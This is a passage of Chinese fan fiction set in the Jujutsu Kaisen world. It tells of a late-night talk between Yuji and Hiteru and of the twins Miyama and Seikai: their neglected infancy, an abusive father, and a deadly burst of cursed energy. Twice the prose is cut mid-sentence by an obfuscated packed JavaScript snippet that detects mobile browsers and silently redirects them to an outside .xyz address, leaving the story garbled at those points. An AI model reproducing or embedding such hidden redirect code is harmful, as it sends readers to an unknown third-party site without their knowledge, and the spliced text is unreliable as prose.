“这个嘛......”日下部笃也摆起死鱼眼,眼神游移:“这个嘛......” “这不是什么都不知道嘛!!日下部老师!!” 日下部笃也迅速溜走了。枷场菜菜子勾住钉崎野蔷薇的手臂,安慰她:“你也不要太着急,伏黑有夏油大人照看,不会出问题的啦!” 钉崎野蔷薇撇撇嘴。她现在很心慌,但是又要强撑着不希望被别人看出来:“真是的,一个两个都不让人省心!” “金枪鱼蛋黄酱。”狗卷棘向她招手。 “狗卷学长?有什么事吗?” 等她走近,狗卷棘又问她:“大芥?” 大芥应该是在问她“没事吧”。钉崎野蔷薇摇摇头,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137758|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后从狗卷棘手中接过了一个小号机械丸。狗卷棘指指那个机械,又掏出手机向钉崎野蔷薇挥了挥,示意她把手机拿出来。 钉崎野蔷薇不明所以,看着狗卷棘将她拉进了一个单独的群聊。 “这个是......?”她刚想问,看到狗卷棘比了个“嘘”的手势。 所以她用各种自创的手势向他比比划划,表达自己的疑问。也不知道狗卷棘理解了没有,总之他说了:“鲑鱼。” 房间里,日照将网球袋中所有的咒具都拿了出来,一一摆在床上、桌子上和地面上。 弥山就喜欢这稀奇古怪的东西,明明每次都用不上,却总觉得“没准下次就用的上了吧”,慢慢地就搞出了这么一兜子。 这些可以说是他们的“全部家当”。 他从兜里取出一条断掉的绳编项链,上面系着的干枯眼球在战斗中被他吞下,补全了剩余的灵魂。手指慢慢拂过线绳的纹路,每一根丝线都浸染着他们的骨血。 在诸多武器的包围下,他径直躺倒在床中央,感受着冰冷的钢铁因为重力和凹陷慢慢向他滑过来。 但他睡不着。 推门出去的时候,日照正好撞见了在走廊里游荡的虎杖悠仁。少年站在自动贩卖机前,没有投币,似乎只是单纯地被电子设施的光芒吸引到了那里。 他还穿着白天战斗时的衣服,高专校服统一制式外加上的红色兜帽被火焰燎烧掉了一大块,下摆还沾着不少鲜血。 滴。 虎杖悠仁愣神,看着日照投币、摁按钮一气呵成的手。日照弯腰从出货口取出两罐200ml的普通牛乳,将其中一罐递给虎杖悠仁。 “啊......谢谢。”粉发的少年肉眼可见地消沉了不少。 日照坐到了旁边的长椅上,拍拍座位示意他也坐下来。 虎杖悠仁坐了下来,日照将吸管插入纸罐,却没有喝:“在想那个束缚的事?” 身边的人身体僵了一下,握住牛奶的手瞬间收紧。虎杖悠仁弯下腰去,似乎有人在他的肚子上重重来了一拳。他用几乎快要哭出来的语气忏悔着:“如果不是我忘记了......不,如果我当时——” 如果当时没有那么自大去挑衅宿傩,如果当时再对咒术有一些敬畏,如果...... 现在已经是深夜,他们所在的是这层楼的公共休息区。日照注意到了他眼睛下面不易察觉的青黑:“......他说过,为过去解释的行为都是在找借口。虽然他也是个自大的混蛋,但这句话多少有些道理。事情已经发生,你从过去找到的不应该是借口,而是解决这件事的下一步。” 虎杖悠仁将呼之欲出的眼泪憋了回去。沉默持续了一小段时间,他转头看向日照,又继续沉默着。 日照不知道在想什么。 “日照先生,羂索占据的身体......” “是‘我’的。” “诶!?” 日照瞥了他一眼,这会儿他终于有点虎头虎脑的少年感了:“五条那家伙没跟你说吗?我们也是受肉者和容器的关系。” 虎杖悠仁瞪大了眼睛:“就像我和宿傩那样吗?不,应该是像来栖和天使那样?” 日照没有点头,也没有摇头。其实是他也不知道他们这样究竟算是哪样。 虎杖悠仁恍然大悟,白天那场战斗中一些前言不搭后语的对话终于有了来龙去脉。 “那你是......星海?”虎杖悠仁看着他说:“星海,你在哭吗?” “哈?”日照挑眉,“听起来要哭的人是你吧?还有,给我说敬语。” “......因为你看起来很寂寞。” 虎杖悠仁抬头,将冰凉的牛奶罐放到了自己的额头上,整个人靠上长椅:“星海先生和弥山先生一直在一起吧?” 这个人不知道当他说“我叫不醒他”的时候究竟是什么表情。 空白的、虚无的。是弄丢了什么东西却不敢置信的感觉。 “弥山先生他......是因为来栖的术式?” 日照看着他愣了一会儿,然后学着他的模样倒向靠背。 “是束缚。在我不知道的时候,他擅自定下了束缚。按理来说,受肉者的术式会刻印在容器的大脑里,最后容器能够使用两者的术式,受肉者同样可以,就比如占据了伏黑惠身体的宿傩。” 他伸出手挡住刺眼的白炽灯光:“但是我不能用他的术式。天使的术式对我的灵魂‘构不成伤害’,那个时候我才意识到他干了什么混账事。” 以日照星海不可以使用【代理人】为代价,换来了“灵魂地位的交换”。他不知道弥山是怎么做到这一点的,有关咒术与灵魂,从来都不是他乐意关注的东西。他讨厌咒术。特别、特别讨厌。 【雅各布天梯】的伤害会集中灌输给受肉者,之所以说容器很难活下来是因为在剥离受肉者的时候,容器的灵魂也会受到牵连和拉扯,一般人根本支撑不住。因为“灵魂地位的交换”,尽管与事实相悖,但在这具身体中,容器的灵魂对应着日照星海,受肉者的灵魂对应着日照弥山。 通俗地来说,本来日照弥山是“虎杖悠仁”,日照星海是“宿傩”,但现在他们完全反了过来。 所以是日照弥山吃满了天使术式的伤害,至于为什么日照星海没有受到牵连,可能是因为他的灵魂比较特殊,他曾听弥山提起过。 但他不在乎。他现在只想揪着弥山的领子问他为什么。 “也许,弥山先生也很寂寞吧。” 日照下意识地问:“啊?” “我觉得,和另一个人分享自己的身体是很可怕的事,”虎杖悠仁觉得脑门冰冰凉凉的,似乎清醒了不少,“那相当于主动将自己的灵魂展现给别人看,如果不是太寂寞的话,怎么会想这么做呢?” 被迫接受两面宿傩的他觉得自己的灵魂不断被人挖掘着,但他却对身体中的另一个存在一无所知。宿傩挖走了他灵魂中的一块,就如同缺损的左手小指。 日照彻底无言。 寂寞? “我们只是......分开了六年。” 虎杖悠仁问:“当年发生了什么?星海?” 他似乎终于有些困意,缓了一下又补上了敬语。 “随你喜欢怎么叫吧,”日照看向前方,扔掉已经喝光的牛乳纸罐,“剩下的,明天再说。” 28. 他们 1986年12月31日。 新生儿的啼哭与沉重的摔门声重合在了一处,来往的医生与护士密切关注着这对奇特的夫妻。助产士将一对双胞胎放到了母亲的怀中,看她边哭边笑,便递上了纸巾为她擦去了眼泪。 “五条小姐,恭喜您,是一对可爱的男孩子哦!” 五条理鸥搂抱着她的孩子们,亲昵地凑过去用冰凉的鼻尖蹭了蹭其中一个孩子柔软的皮肤。 “......我的孩子们。” 欢迎来到这个世界。 五条理鸥很快就出院了。那天她独自推着婴儿车,自己只带走了几件换洗的衣物。 “6号床的五条小姐已经走了啊,我还说今天继续帮她打饭来着,”护士站的小护士翻看着病历本,“她恢复得也太快了!简直是超人啊!” “幸好她身体底子很好,但是居然有那样一个丈夫,真是......” “说起来,她丈夫叫什么来着?好像从来都没有来过医院吧?” “据说只有生产的那天来过,然后怒气冲冲地走了。之后都是五条小姐一个人住院,有的时候连孩子们都是同病房的其他人帮忙照看,不然实在太辛苦了。” 这件事很快就被大家遗忘了。 岩手县花卷市爱宕町3番5号,日照家。 五条理鸥看着空无一人的家,好在玄关能够允许超大号婴儿车通过。她小心翼翼地将孩子们放到准备好的木床上,将婴儿车折叠起来收在阳台。咒术师的身体素质支撑着她完成了这一系列动作,在这之后她又将一层的客厅里里外外收拾了一遍。 即将重获自由的喜悦充斥着她的心脏,似乎是察觉到妈妈就在附近,木床上的一个孩子伸出手咿咿呀呀地叫着。 五条理鸥趴在木床旁,伸出一根手指追逐着那只小手:“真的像是小猫叫一样呢~乖啦、乖啦,看啊,是妈妈哦!” 孩子本能地抓住了她的手指,小小的拳头还没有她的指节宽。 他瞪着黑黑的眼珠,看着五条理鸥笑了起来。 “啊啦,我们弥山总是这么有精神~” 她将手伸进另一个孩子的小拳头里,感受着他本能的抓握反应。星海一直没有睁眼呢......如果下周还没有睁眼的话,只能再去一趟医院了。 听到开门声时,五条理鸥才从浅梦中惊醒。她意识到自己趴在婴儿床边睡着了,自己的手指被弥山拉到嘴里,涂了满手的口水。 日照大我喝得烂醉如泥,刚走进玄关就能闻到浑身的酒气。 五条理鸥站起身,她的腰和下肢酸痛无比,生产对她的身体已经造成了不可逆转的损伤。 “我说过了吧?如果你在孩子们面前还有那些恶习,我不会再让他们和你见面。” 日照大我没有理会她的愤怒,推开了走廊左侧房间的门。 五条理鸥喂饱了孩子们,一层既是客厅也是她的卧房,虽然二层也有几间空房,但她实在没有精力每天上上下下。她拉了一张小床,就摆在婴儿床的旁边,这样每晚都能陪在孩子们的身边。 照顾这两个孩子的一切事物都由她亲力亲为。日照大我从没有去客厅看过他们的孩子。 五条理鸥和日照大我并没有任何情感上的联系,他们见面、说明了双方的目的,然后就那么顺理成章地走完最后一步,连结婚式都没有。 “亏你还姓五条,居然生下来了不祥的双子,我们之间的约定根本就是一纸空谈!”在日照大我第二日仍旧醉醺醺地回家之后,五条理鸥忍无可忍地与他理论,却听到了这样尖锐的反驳。 “本家给的钱你也拿到了,还有什么不满意!?就算是双子,本家不也没彻底把你踹开吗!?” “双子能有什么前途!?有没有咒力都还是说不准的事,那孩子的眼睛你也看见了,黑色的!继承相传术式也没用啊!?” “你祖上入赘本家之后生下来的孩子咒术天赋一代比一代差,难道野鸡的后代也想飞出凤凰吗!?被本家除名的旁支也就你们还能拿到钱,不就是因为我和孩子们吗!?” 这并非五条理鸥的本意。不论孩子们是否有咒术天赋,她都要带走他们的。她要带着他们去自由的地方。 日照大我祖上入赘五条家,娶的是旁系的女儿,但好歹也姓五条。曾有过咒术天赋还算不错的孩子,但经过几代之后,这种天赋从他们的血脉之中逐渐消失了。到了日照大我的父亲这一辈,他们被夺去了五条之名,换回本姓,搬出了族地。 五条理鸥是本家家仆之女,从血缘上来看,同旁系的女儿差不多。日照大我一直想要通过五条理鸥重回本家,并非是为了在咒术上有所发展。五条家在咒术界被归为御三家,同样在普通人的世界也有很多产业。 只不过是将有天赋的孩子卖给本家更值一些。 拥有天赋的孩子,通常需要等到五、六岁才能觉醒术式。五条理鸥诞下双子的消息第一时间传回了本家,父母知道后只是默默地再一次抛弃了她,因为他们还有其他的孩子可以寄托。但是偶尔听到家族中的人因为生下双子而贬低他们时,也会在心里痛恨无能的女儿。 不过,哪怕是双子,为了那微乎其微的、诞下拥有相传术式的孩子的可能性,本家到底没有彻底放任她自生自灭。金钱上的资助会持续到孩子们觉醒术式,如果连咒力都不曾拥有的话,那么五条理鸥就可以完全地脱离这个家族。 五条理鸥的话激怒了日照大我。他快步走向婴儿床,对上孩子黑水晶似的眼睛,皱眉将他拨开到一旁,固定住另一个安安静静的孩子。 “你要干什么!?放开!!我让你放手!!” 男人粗糙的指腹搓开了孩子的眼皮:“这不是还有一个吗!?看看他是个什么东、西......” 五条理鸥和日照大我同时停下了争执的动作,他们看向被粗暴掀开的眼皮下,那只澄澈如流云一样、淡白色的眼睛。 在日照大我的狂喜中,五条理鸥绝望地跌坐在地。 “为什么……为什么偏偏是我的孩子?” 没有人能回答她的诘问。 本家的人来了,看过孩子之后什么也没说,只是让日照大我好好照看,等到了快要觉醒术式的年龄就可以送回本家。 日照大我把这些话当成了接纳的信号,他觉得自己用孩子敲开了那个高傲又古老的家族大门。 五条理鸥虽然不知晓真正的六眼是什么样子的,但本家的态度不难让她猜出了一些真相。 星海的眼睛不是真正的六眼,但本家似乎不想放弃他。 这就意味着,不论她的孩子能否觉醒术式,她都无法带走他。 弥山抓住了妈妈垂在婴儿床边的手指。 五条理鸥收回了手。 —— 小井是拜托熟人找到的这个工作。她的姐姐有一个同事刚刚生产,想找一个可以兼任保姆和家政工作的人。她刚刚高中卒业,如果不赶快找到工作的话就只能顺从家里的意思找个人嫁了。 “爱宕町......3番5号,就是这里了。” 门口的牌子上挂着的牌子写着“日照”。她按下门铃。 打开门的是穿着得体制服的女性,看样子是这家的女主人,也就是小井姐姐的同事。 “日照夫人,我是来......” 这位夫人明显还没有从生产造成的损伤中完全恢复,眼睛下面还有看起来很久没有好好休息带来的疲惫。她揉了揉额角:“我知道,你进去吧。” 她匆匆结束了和小井的第一次会面,离开了家。 甚至还没来得及介绍一下孩子们......小井有照顾弟弟妹妹们的经验,不过姐姐当时说主人家似乎并不怎么在意应聘者的工作经验。 她走进那条灰色的长廊,门在身后关上。这家的男主人提出的工作要求很奇怪。 小井来到了婴儿床旁,见到了那两个孩子。 除了喂奶和更换贴身衣物,其他时间不要靠近孩子们。 “如果孩子们在哭......?” 男主人不耐地换好皮鞋准备出门:“他们很少哭,总之做好你的工作,其他的不要问!不要让星海受伤。” 独栋公寓里只剩下了小井一个人。 她很快就能分辨出两个孩子的区别。星海是那个眼睛颜色很美的孩子,安安静静的,从来不哭不闹。另一个孩子是弥山,每次小井从家务工作中抬起头来时,都能看到弥山从婴儿床木栏杆的空隙中看她。 他们的作息总是相似的,如果弥山在哭,那么小井需要同时满足两个孩子的需求。 弥山并不是真的在哭。过了差不多一周的时间,小井发现他只是在干嚎,为的是满足自己的生存需求,像小动物一样发挥着自己的求生本能。 见到她的时候会笑,但更多的时间只是贴在星海的身边。 孩子们满月的那天,理鸥小姐和日照先生都没有回来。小井现在已经搬入了这个家,理鸥小姐——她不喜欢小井叫她日照夫人——的工作十分繁忙,不过听姐姐说,她的事业也在一路高歌猛进。 日照先生也不怎么经常回家,只是在周末会回来看看星海。是的,他每次只会抱起星海,从来都不会抱抱另一个孩子。每当这个时候,弥山都会闹出不小的动静。小井发现他还是在干嚎。 虽然这是一个非常奇怪的家庭,不过小井得到了丰厚的报酬,足够支付她弟弟妹妹们的学费,甚至还有剩余。 在日照家工作一个月之后,小井将手指放到了星海的眼睛前面。她移动着手指,从左到右。她本不该和孩子们这么亲近,但她实在无法对此视而不见了。 “星海,好像看不见东西呢。” 她被日照大我推开,星海被抱到了医院,然后又被带去了什么地方,整整一天都没有回来。被留下的弥山整日躁动不安,小井刚刚喂他喝完奶,可他依旧在不断发出声音。小井在他的眼角看到了一滴眼泪。 “原来你真的会哭啊。”她刮走了那滴液体。 第二日傍晚,日照大我才带着星海回到了家。孩子并没有得到很好的照顾,衣物被赃物污染,看起来也没有什么精神。小井接过来的时候,发现孩子的眼眶红通通的,似乎被频繁强行扒开眼皮观察眼球似的。 理鸥小姐当晚怒气冲冲地回了家,他们在日照先生的卧房里压抑着声音争吵,小井在盥洗室给星海清理身体,破格将他抱在怀里带去了厨房,重新烧水准备冲泡奶粉。 争吵的夫妻没有人在意她的僭越,她感受着孩子柔软的身体趴在自己的肩头,轻轻地摇晃着安慰他。 弥山在她将星海放回他身边时安静了下来。 小井把他挪到了星海的附近,看着他们的手臂交叠,星海伸手抓住了弥山身上的衣服。她伸出一根手指放到他们之间逗弄,只有一双黑眼睛追逐着她的指尖。 “你们要永远在一起哦,”小井偷偷说道,“毕竟你们只有彼此了。” 日照家的生活似乎回归了正轨。 理鸥小姐回来的次数多了一些,与之相反的是日照先生,他不再亲近星海,哪怕回来也只是匆匆看上一眼,连靠近的时间都觉得浪费。 孩子们一岁左右的时候,小井开始避免靠近他们。 因为这两个孩子有些奇怪。 不知道从什么时候开始,弥山不再用声音表达他们的诉求。他变得像星海一样安静,在能够扒着木栏杆站起来之后,当小井意识到到了喂饭的时间时,就能看见弥山站在婴儿床的角落,用漆黑的眼睛看着她。 每当这个时候,她总有一种不寒而栗的感觉。这个家里非常、非常的安静。 小井有和理鸥小姐提过,要不要重视一下孩子们的幼儿教育。因为他们直到现在都不会说话,连“爸爸”、“妈妈”都叫不出来,甚至咿咿呀呀声都听不到了。有时小井会偷偷打开电视机,让新闻频道播放一整天。 日照先生因为她多事,扣掉了她半年的工资。理鸥小姐似乎实在没有精力,虽然私下补回了她的工资,但始终没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137759|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有对两个孩子的问题做出回应。 小井觉得她似乎是在害怕。不想接受孩子们的异常,如果装作没看见的话,就能当做不知道了。 “你们以后会怎么样呢?” 她想要离开了。 孩子们两岁的时候,她决定辞掉这份工作。她觉得这个家里的所有人都有病,没有人在乎这两个孩子,他们错过了学习说话的时间,在能够站立后也没有机会下地学习走路,因为日照大我不允许他们离开那张婴儿床。 小井试过,她偷偷地将孩子们带下了床,但是不到十分钟,家里的电话就响了起来。 这之后她总觉得自己被什么东西监视着,待在这间死气沉沉的公寓里的每一天都让她如坐针毡。她坐在沙发上,看着孩子们在婴儿床上绕着圈走路。 弥山早就不再亲近她。大概是在一岁左右的时候,她就发现弥山不会再对她试图逗弄的动作吸引。当她拿着奶瓶在他眼前晃来晃去时,弥山会试着伸手抓住食物,但她数次提前收手,在那之后他便不再试图抓住她的手。 他就站在那里和她对视,看得她毛骨悚然。 逃走的那天,她宛如被人从监牢里放出,迫不及待地奔向了自由的世界。 —— 五条理鸥不知道如何面对孩子们。 如果星海没有那双眼睛就好了。如果她下得去手刺瞎那双眼睛,哪怕未来她要照顾他一辈子,她也心甘情愿。 生于五条家,自然是听着六眼与相传术式的故事长大。小的时候她曾憧憬过,如果自己生下了拥有六眼的孩子,是否会得到父母的疼爱?她曾觉得那是天赐的礼物。 那是“诅咒”。 本家的长老来过之后,五条理鸥自暴自弃地逃走了。既然迟早要与这两个孩子分开,那么不如从一开始就不要给予“爱”。在那样的家族长大,她学会的第一点就是如何明哲保身。 在不知不觉中,她变得和自己讨厌的、想要远离的父母一模一样。 在接到本家打来的电话,告知自己的丈夫带着星海去了族地时,她正在外地出差。当她怒气冲冲地赶回家的时候,日照大我已经把孩子扔给了小井。 他们在卧房里吵得不可开交,又顾及着客厅里的非术师,不得不压抑着声音。 星海的双眼似乎目不能视。虽然医院说他并非全盲,但也近乎先天失明,就算经过矫正治疗乃至手术治疗,未来也只能勉强看出物体的轮廓,与盲人无异。 本家的人也检查过了,星海似乎也看不到咒力。 日照大我莽撞地将他带去了本家,在知晓他没有咒术天赋之后,来自金钱上的支援自然减少了很多,但依旧没有放弃这两个孩子的意思,似乎还想等到五六岁再看看。 五条理鸥的心底出现了阴暗的快感。她用自己的工资继续填补着雇佣小井的钱,在孩子们两岁之后,小井提出了辞职。她似乎没有丝毫的留恋,在结付工资的第二天就从家中搬了出去。 之后五条理鸥断断续续地雇过几个人,但都做不长久。因为星海很容易发烧,身体似乎也很虚弱,不少人不愿意承担风险,所以没干几天就像小井一样提出了辞职。她拼命地工作,有的时候累到大脑空白,只有这时,孩子们刚刚来到这个世界的模样才会出现在她的脑海里。 未来究竟要走向何方? 既然没有天赋,那就让她带走不好吗? 日照大我看起来已经完全放弃了。五条理鸥的心中察觉到了一丝希望,似乎只要她再继续努力工作,她就能带着那两个孩子远走高飞。 不知何时她走上了一座吊桥,孩子们就站在桥的尽头。 三年,她得到了晋升的机会,攒够了钱,在北海道看好了房子。不是独栋,是在公寓楼中的一小间,但已经足够她和两个孩子生活了。 她拿着提前准备好的离婚协议书匆匆赶回家,却在街口被人拦了下来。 “前面发生了事故,请远离现场不要聚集!” 警察拦着她不允许往前,可她分明看到有很多人聚集在了她家门口。写着“日照”的牌子和碎石瓦砾一起堆叠着,被来往的消防员和医生踢到路边。 之后她仿佛灵魂出窍一般,发疯了似的冲到了废墟前,又踩着断了鞋跟的尖头高跟鞋狂奔到了医院。 本家的人没有让她见到孩子们。他们就这样把孩子们从她的生命中挖走了,干干净净,什么都没有留下。 失魂落魄地站在医院大门口,她久违地接到了父母的电话。他们只留下了一句“你自由了”,让五条理鸥在无数行人面前失声痛哭。 —— 他体会过的最柔软的怀抱不是来自妈妈,而是那个总黏在自己身边的人。 只要看着他就觉得很安心,像是还在妈妈的肚子里一样。在能够看清东西之后,他对这个世界充满了好奇。有一个人会给他们食物,但她不是妈妈。 作为新生儿世界里唯一会走动的生物,小井自然而然成为了他目光最常追逐的东西。他观察着她的一举一动,偶尔能够与她对上视线,但她从来不会在对视后走过来。她总是迅速地移开了目光。 所以他对她失去了兴趣。 取而代之的是那扇偶尔亮着光,偶尔什么都看不见的窗户。随风摆动的枝叶,被切碎的阳光,以及偶尔停留在窗框外的飞鸟。 夏天很热,身边的人体温更高。贴在一起的时候会觉得焦躁,但尽管如此也还是要抓紧对方,不想放手。 不敢放手。 他本能地紧紧抓着身边的人,不管是酷夏还是寒冬,他都紧紧地抓着那个人。因为世界是阴暗的,模糊一片,他能听到嘈杂的声音,但眼睛的痛楚常让他难以安稳入眠。只有待在他身旁,才能抓到那微不足道的安心感。 在他目之所及的世界里,有一些亮着的长条形物体将他们包围。经常在床边晃悠的影子身上没有那些亮光,偶尔会出现的人身上的光比长条形物体上的弱很多。 他向身边的光源靠近,严丝合缝地贴了上去。 29. 我们 弥山是他的名字,星海是这个一直揪着他的人的名字。他无疑是聪慧的,很快就理解了这一点。 小井看到他们醒了,习以为常地打开了电视。她坐在沙发上睡觉,弥山越过她的头,盯着电视屏幕。 星海拉着他的脖子,将他扯得躺倒,压在了星海的身上。 他想看电视,所以用力推着星海的脸。旁边的人手脚并用,翻过身将他压在了下面。他们扭打在一起,但是弥山的力气落于下风,获胜的次数寥寥无几。 小井没有醒,因为他们打架不会发出声音。 彼此之间不需要语言的交流,所以他们没有学习发声的欲望。嗓子痒痒的,星海“咬”在他的眼睛上,因为没有牙齿,所以只能把口水蹭到他的脸上。 因为身上黏糊糊的,痒痒的,弥山用脚踹他,用力蹬来蹬去,但怎么都没办法把身上那个巨大的热源掀翻。 他用无声的尖叫表达自己的抗议。 他知道他们是不同的,但也清楚的知道他们是世界上最相似的存在。像是灵魂的两面,也许曾有分离的经历,因为不想再体会到那种焦躁不安,所以就不再松手。 星海不敢松手。 他抓住的人与他有血缘上的关系,他们之间亲密无间。这个世界里,只有弥山一直在那里。他听着他的声音进食,更换衣物,感受着他略低的体温入眠。 身体总是很难受,像是吃得太饱一样撑得慌。他开始变得萎靡,弥山的体温让他感觉舒适,所以更加粘着他不放。他实在太累了,睡眠已经无法让他恢复精神,沉重的负担压在他的身上,没有释放的出口。 某一天,不知道醒来的时候是白天还是黑夜,他第一次从弥山口中听到了他的名字。 弥山看向在沙发上睡着的妇女,电视机的荧光照在她的脸上,一闪一闪的。弥山收回了目光,看向身边的星海。 必须叫醒他。即将失去什么东西的恐慌感让弥山变得焦躁,他不明白发生了什么,星海的身体热得发烫,贴上去的时候感觉直接进入了盛夏。有一次小井没有发现她忘记拉上窗帘,酷夏正午的太阳直射他们所在的婴儿床,那个无处可逃的中午让他们开始讨厌夏天。 甚少使用过的喉咙开始挤压,发出低低的、气音一样的字句。 仿佛听到了他的呼唤,星海从高烧晕厥中短暂地醒了过来。 弥山知道他很难受。他们从来都是这样了解对方。 日照大我恰好那天回来,新聘来的保姆被开门声惊得从沙发上跳了起来。他们交谈着,保姆离开了家。他们没有一个人发现孩子们的异样。 弥山弄出来的动静让他心烦意乱。他无意听那个孩子究竟在说什么,因为他们迟迟不开口的原因,日照大我都觉得他们生下来就是傻子,懒得看,懒得教,甚至开始思考要将他们丢给谁照顾才不会继续拖累他。 喝过酒的大脑不甚清醒,他快步走到床前一掌打在孩子的脸上。 “一个、一个的,都是废物!!那女人把你们生下来有什么用!?你们身上除了五条的血,半点用处都没有了!!” 没有用的孩子们对他来说只是累赘,星海的那双眼睛视力低下,无论日照大我怎样百般祈求,他的眼睛都没有追着本家的长老测试能否看见咒力的手指移动。 被打了一个趔趄的弥山没有任何反应,从星海身上起来,回过头用漆黑的眼睛盯着日照大我看。 日照大我被一个孩子的眼神激怒了。 “......你那是什么眼神?你也和那个女人一样看不起我!?不过是身上流着五条家的血,想凭着区区那点血脉就看不起我吗!?” 他语无伦次,仿佛世界对他竖起了尖刺,五条理鸥的一言一行全都是在贬低他,在应酬中主动灌下的酒都变成了被逼无奈的忍辱负重。 彻底点燃他这个炸药桶的是弥山身后缓缓睁开眼睛的星海。那双除了好看没有半点用的垃圾居然聚焦在了日照大我的身上,他突然意识到这个孩子其实能看得见。 ......他在骗我?既然能看见,又为什么任凭他在本家受尽奚落!? 高举的手即将落下之际,异变发生了。 本家负责调查这场事故的族人在提交给长老的报告中提到了自己的猜想。有关双子咒术师的存在案例太过于稀少,通常的“代价”与“恩赐”在他们身上并不适用,毕竟在咒术上,同卵双胞胎的灵魂是一样的。 星海拥有得天独厚的咒术天分。普通咒术师家的孩子会在五、六岁的时候觉醒术式,在那之前就已经可以观察到身体内拥有的咒力了。咒力量几乎是天生的,在定型之后很难再有变化。但在星海的身上,咒力的总量一直在不断上涨。在三岁的时候,增长停止了。 由于弥山身上的咒力少得可怜,五条族人只能推测也许是因为双子的缘故,星海拥有的咒力量已经远超他肉|体能够承受的极限。增长的停止并非意味着结束,而是代表他的咒力即将失控。 以那张婴儿床为中心,半径20米左右的范围内,一切都被从那具身体里涌出的咒力摧毁了。虽然没有觉醒术式,但是单纯放出的咒力已经带上了生得术式的某种特性。 距离最近的日照大我在被送进医院后不久就宣告了死亡。 “另一个孩子呢?” “摘除了右眼,没有其他损伤。” 老人沉吟片刻,看向坐在下首的青年:“你说的那个方法,有几成把握?” 额头被发带挡住的青年微笑着,缓缓开口:“我劝您不要抱太大希望,那个孩子的咒力特性倾向于分解与毁灭,和【无下限咒术】并没有相似之处。” “嗯......” 青年等待着,半晌老人似是突然回过神来,说道:“试试看呗,失败了又没什么,如果成功了那就是你我的成就。” 他说的云淡风轻,就像是在谈论什么劣质的玩具一样随意。 “自然。其他人那边......” “不用管他们,那两个孩子就在族地内,既然不用等,那就尽快开始吧。” 青年行礼退下,随着家仆去见被接到偏院居住的双子。 他们本该由祖父祖母照顾,但因为青年向长老提出了那个实验,所以他们被转移到了远离人群的偏院。 家仆在院门口站定,青年自己走入了偏院。 现在正值隆冬,连通院子的障子门却大开着,青年刚一靠近就敏锐地嗅到了血腥味。 右脸上绑着绷带的孩子似乎因为伤口而痛苦地呼吸着,另一个孩子的手正在他的伤口上来回摸索。因为看不清,难以控制下手的力道,想要更换绷带的动作看起来像是折磨着对方,让洁白的布料上渗出更多淡红色的血迹。 星海察觉到有人靠近,但他充耳不闻,只是专注于手上的动作。弥山痛苦的呼吸声让他心焦,可越是着急,越无法控制双手。 青年从背后搂着他,握住他的双手引导道:“这样不行啊。要用手指仔细地感觉,结在脑后。要轻轻地揭开,他很疼。” 星海跟着他的动作拆开了几乎被血浸透的绷带,沾满鲜血的双手想要去拿新的,被青年摁在了半路。 他看着这个不请自来的客人,却被人一把掐住了下巴。青年观察着那双眼睛。 “......果然只是个赝品,”他的语气不乏失望,甩开孩子的脸,“时间上倒是差不多,还以为这次的六眼出了意外,没想到只是我一厢情愿了。” 星海听不懂他在说什么,摸索着想要给弥山换药,但因为手指碰到了裸露的伤口而换来了一声痛呼。 他俯下身,轻轻地贴上弥山的脸。弥山一直在流汗,浑身烧得厉害,他不知道该如何让他的体温降下来,所以大开着门,让外面的冷风吹进来。 “帮帮我。”他说。 “要说‘请帮帮我’。” 他重复了一遍又一遍,不肯离开弥山的身边。本来准备离开的青年站在院子里看了他们很久,最终还是返回了那间只有一床被褥的简陋和室。 他双手卡住腋窝托起烧得毫无意识的弥山,在怀里摆了个顺手的姿势,迅速给他换了药,缠好了绷带。 过了几天,青年又来了。 星海已经学会了如何换药,将家仆送来的药物通通灌入弥山的嘴里。 “嗯?恢复得比我想象中地要快啊。”星海没有像拒绝家仆靠近时一样拒绝他的靠近,青年看了看弥山的伤,空荡荡的眼眶边那一大片创口已经开始愈合。这孩子难道有使用反转术式的天赋吗?他开玩笑般地想道。 弥山躲开了他的手,剩余的左眼盯着他。 “如果不是正巧碰上生产,我们今晚就可以开始了。真可惜啊。” 整个咒术界能够使用反转术式治疗他人的术师屈指可数,五条家为了计划在双子身上进行的实验请来了其中一位,却没想到正好碰上家中有孕妇生产,那位术师被叫去帮助大出血的产妇了。 挖掉星海的双眼,杀死弥山,用反转术式让双眼再生。 如果那双赝品是因为被分割的灵魂而不完整,那么就让他们重新合二为一,补完六眼。 那晚,星海牵着弥山跑出了他们所在的院落。在这个族地中的每个人都有咒力,因此星海能够准确地避开所有人。他们躲在产房之外,星海的双眼一眨不眨地盯着那间屋子。弥山将手伸向了脚边枯萎花群中一株风信子的花柄。 稚嫩的手指抚过的地方生出了小小的天蓝色的花瓣,指腹触碰到了柔软又毛茸茸的纹理。 “是他。”星海攥紧了他的手,难以忽视的亮色在被众人包围的房间中出现了。有雪花从天空中飘落,弥山贴近了星海取暖。 1989年12月7日,真正的六眼降生了。 星海的咒力在训练中被消磨着,所以不需要再担心爆发的问题。随着年岁的增长,身体素质提升了,因此不安分的咒力也逐渐归于平静。族内所有的适龄孩子都需要参加训练,在觉醒术式前是单纯的体术练习,等到了觉醒术式的年纪,将会分流去到不同的地方。 有术式的送去培养成家族术师,五条家也有像禅院家的柄和躯俱留队类似的组织。没有术式的就搬出族地,去学习接手家族产业的知识。 